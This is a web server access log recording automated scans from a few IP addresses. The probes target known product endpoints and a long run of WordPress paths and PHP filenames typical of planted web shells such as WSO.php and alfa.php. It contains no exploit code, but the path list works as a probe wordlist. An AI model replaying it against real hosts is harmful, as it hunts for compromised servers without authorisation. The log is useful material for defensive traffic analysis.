[09/Sep/2026:15:10:23 -0700] "GET /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1" 503 - "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36" 45.156.128.175 - - [09/Sep/2026:15:10:24 -0700] "GET /cf_scripts/scripts/ajax/ckeditor/ckeditor.js HTTP/1.1" 503 - "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36" 45.156.128.174 - - [09/Sep/2026:15:10:25 -0700] "GET /owa/ HTTP/1.1" 503 - "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36" 45.156.128.172 - - [09/Sep/2026:15:10:25 -0700] "GET /login HTTP/1.1" 503 - "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36" 45.156.128.172 - - [09/Sep/2026:15:10:26 -0700] "GET /favicon.ico HTTP/1.1" 503 - "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36" 45.156.128.174 - - [09/Sep/2026:15:10:27 -0700] "GET /sitecore/shell/sitecore.version.xml HTTP/1.1" 503 - "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36" 45.156.128.174 - - [09/Sep/2026:15:10:28 -0700] "GET /admin/ HTTP/1.1" 503 - "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36" 45.156.128.172 - - [09/Sep/2026:15:10:29 -0700] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 503 - "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36" 45.156.128.174 - - [09/Sep/2026:15:10:30 -0700] "GET /WebInterface/ HTTP/1.1" 503 - "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36" 45.156.128.175 - - [09/Sep/2026:15:10:31 -0700] "GET /zabbix/favicon.ico HTTP/1.1" 503 - "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36" 45.156.128.172 - - [09/Sep/2026:15:10:32 -0700] "GET /js/NewWindow_2_all.js HTTP/1.1" 503 - "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36" 45.156.128.174 - - [09/Sep/2026:15:10:33 -0700] "GET / HTTP/1.1" 503 - "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36" 45.156.128.172 - - [09/Sep/2026:15:10:34 -0700] "HEAD /icons/sphere1.png HTTP/1.1" 503 - "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36" 45.156.128.173 - - [09/Sep/2026:15:10:34 -0700] "GET / HTTP/1.1" 503 - "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36" 45.156.128.173 - - [09/Sep/2026:15:10:35 -0700] "GET /favicon-32x32.png HTTP/1.1" 503 - "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36" 45.156.128.173 - - [09/Sep/2026:15:10:36 -0700] "GET /showLogin.cc HTTP/1.1" 503 - "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:27 -0700] "GET / HTTP/1.1" 200 12082 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:28 -0700] "GET /wp-includes/ID3/index.php HTTP/1.1" 200 12099 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:28 -0700] "GET /wp-includes/fonts/ HTTP/1.1" 200 12087 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:28 -0700] "GET /wp/wp-admin/includes/ HTTP/1.1" 200 12093 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:29 -0700] "GET /wp-admin/admin-ajax.php HTTP/1.1" 200 12093 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:29 -0700] "GET /wp-admin/css/colors/modern/ HTTP/1.1" 200 12098 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:29 -0700] "GET /wp-admin/js/about.php HTTP/1.1" 200 12094 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:29 -0700] "GET /wp-admin/network/ HTTP/1.1" 200 12087 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:30 -0700] "GET /wp-includes/customize/ HTTP/1.1" 200 12096 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:30 -0700] "GET /WSO.php HTTP/1.1" 200 12086 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:30 -0700] "GET /wp-includes/css/ HTTP/1.1" 200 12091 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:30 -0700] "GET /templates/beez3/error.php HTTP/1.1" 200 12092 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:31 -0700] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 200 12105 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:31 -0700] "GET /wp-includes/ID3/autoload_classmap.php HTTP/1.1" 200 12098 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:31 -0700] "GET /wp-includes/css/dist/ HTTP/1.1" 200 12096 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:31 -0700] "GET /wp-includes/images/crystal/ HTTP/1.1" 200 12095 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:32 -0700] "GET /wp-admin/css/ HTTP/1.1" 200 12085 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:32 -0700] "GET /wp-admin/wp-conflg.php HTTP/1.1" 200 12096 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:32 -0700] "GET /wp-includes/ID3/file.php HTTP/1.1" 200 12093 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:33 -0700] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 200 12103 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:33 -0700] "GET /admin/uploads/ HTTP/1.1" 200 12090 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:33 -0700] "GET /wp-content/cong.php HTTP/1.1" 200 12089 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:33 -0700] "GET /wp-includes/ID3/ HTTP/1.1" 200 12089 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:34 -0700] "GET /wp-includes/images/media/ HTTP/1.1" 200 12092 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:34 -0700] "GET /wp-admin/admin.php HTTP/1.1" 200 12094 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:34 -0700] "GET /wp-content/languages/chosen.php HTTP/1.1" 200 12102 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:34 -0700] "GET /wp-content/plugins/ HTTP/1.1" 200 12092 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:35 -0700] "GET /wp-content/uploads/2024/index.php HTTP/1.1" 200 12102 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:35 -0700] "GET /goods.php HTTP/1.1" 200 12087 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:35 -0700] "GET /plugins/ HTTP/1.1" 200 12085 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:36 -0700] "GET /wp-admin/js/widgets/index.php HTTP/1.1" 200 12097 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:36 -0700] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 200 12104 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:36 -0700] "GET /cgi-bin/wp-2019.php HTTP/1.1" 200 12093 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:36 -0700] "GET /wp-admin/setup-config.php HTTP/1.1" 200 12098 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:37 -0700] "GET /wp-content/file.php HTTP/1.1" 200 12091 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:37 -0700] "GET /edit.php HTTP/1.1" 200 12085 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:37 -0700] "GET /file5.php HTTP/1.1" 200 12090 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:37 -0700] "GET /wp-includes/images/smilies/index.php HTTP/1.1" 200 12102 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:38 -0700] "GET /wp-admin/ HTTP/1.1" 200 12083 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:38 -0700] "GET /wp-includes/ HTTP/1.1" 200 12086 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:38 -0700] "GET /aa.php HTTP/1.1" 200 12084 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:39 -0700] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 200 12105 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:39 -0700] "GET /wp-includes/blocks/ HTTP/1.1" 200 12091 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:39 -0700] "GET /wp-content/index.php HTTP/1.1" 200 12089 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:39 -0700] "GET /wp-content/plugins/seoplugins/index.php HTTP/1.1" 200 12096 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:40 -0700] "GET /.well-known/ HTTP/1.1" 200 12088 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:40 -0700] "GET /modules/file.php HTTP/1.1" 200 12094 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:40 -0700] "GET /wp-admin/css/colors/coffee/ HTTP/1.1" 200 12096 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:41 -0700] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 200 12100 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:41 -0700] "GET /autoload_classmap.php HTTP/1.1" 200 12088 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:41 -0700] "GET /public/index.php HTTP/1.1" 200 12090 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:41 -0700] "GET /wp-admin/network/index.php HTTP/1.1" 200 12094 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:42 -0700] "GET /wp-content/uploads/2022/ HTTP/1.1" 200 12097 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:42 -0700] "GET /wp-content/uploads/json.php HTTP/1.1" 200 12098 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:42 -0700] "GET /wp-includes/SimplePie/ HTTP/1.1" 200 12101 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:42 -0700] "GET /wp-includes/customize/chosen.php HTTP/1.1" 200 12105 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:43 -0700] "GET /wp-includes/shell20211028.php HTTP/1.1" 200 12099 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:43 -0700] "GET /index/function.php HTTP/1.1" 200 12085 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:43 -0700] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 200 12097 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:44 -0700] "GET /wp-content/style-css.php HTTP/1.1" 200 12095 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:44 -0700] "GET /wp-includes/Requests/ HTTP/1.1" 200 12091 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:44 -0700] "GET /wp-includes/pomo/ HTTP/1.1" 200 12088 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:44 -0700] "GET /file.php HTTP/1.1" 200 12087 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:45 -0700] "GET /wp-admin/css/colors/light/ HTTP/1.1" 200 12098 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:45 -0700] "GET /wp-includes/certificates/ HTTP/1.1" 200 12103 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:45 -0700] "GET /wp-admin/css/colors/index.php HTTP/1.1" 200 12099 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:45 -0700] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 200 12101 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:46 -0700] "GET /wp-content/alfa.php HTTP/1.1" 200 12093 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:46 -0700] "GET /inputs.php HTTP/1.1" 200 12080 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:46 -0700] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 200 12099 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:46 -0700] "GET /wp-content/about.php HTTP/1.1" 200 12094 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:47 -0700] "GET /1.php HTTP/1.1" 200 12083 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:47 -0700] "GET /admin/controller/extension/extension/ultra.php HTTP/1.1" 200 12104 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:47 -0700] "GET /wp-admin/images/index.php HTTP/1.1" 200 12090 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:48 -0700] "GET /wp-includes/block-supports/ HTTP/1.1" 200 12094 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:48 -0700] "GET /wp-content/themes/twentytwenty/404.php HTTP/1.1" 200 12103 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:48 -0700] "GET /wp-content/upgrade/ HTTP/1.1" 200 12095 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:48 -0700] "GET /wp-admin/images/cloud.php HTTP/1.1" 200 12102 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:49 -0700] "GET /wp-admin/user/ HTTP/1.1" 200 12091 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:49 -0700] "GET /wp-admin/user/chosen.php HTTP/1.1" 200 12101 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:49 -0700] "GET /wp-content/admin.php HTTP/1.1" 200 12088 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:49 -0700] "GET /wp-includes/file.php HTTP/1.1" 200 12093 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:50 -0700] "GET /admin/admin.php HTTP/1.1" 200 12088 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:50 -0700] "GET /wp-includes/assets/index.php HTTP/1.1" 200 12097 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:50 -0700] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 200 12103 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:51 -0700] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 200 12098 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:51 -0700] "GET /wp-content/themes/ HTTP/1.1" 200 12092 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:51 -0700] "GET /wp-includes/block-patterns/ HTTP/1.1" 200 12097 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:51 -0700] "GET /aspera/faspex/ HTTP/1.1" 200 12089 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:52 -0700] "GET /cgi-bin/ HTTP/1.1" 200 12089 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:52 -0700] "GET /flower.php HTTP/1.1" 200 12087 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:52 -0700] "GET /wp-admin/js/ HTTP/1.1" 200 12088 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:52 -0700] "GET /.well-known/gecko-litespeed.php HTTP/1.1" 200 12105 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:53 -0700] "GET /admin/function.php HTTP/1.1" 200 12090 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - [09/Sep/2026:15:26:53 -0700] "GET /wp-admin/network/chosen.php HTTP/1.1" 200 12095 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.194.2.112 - - 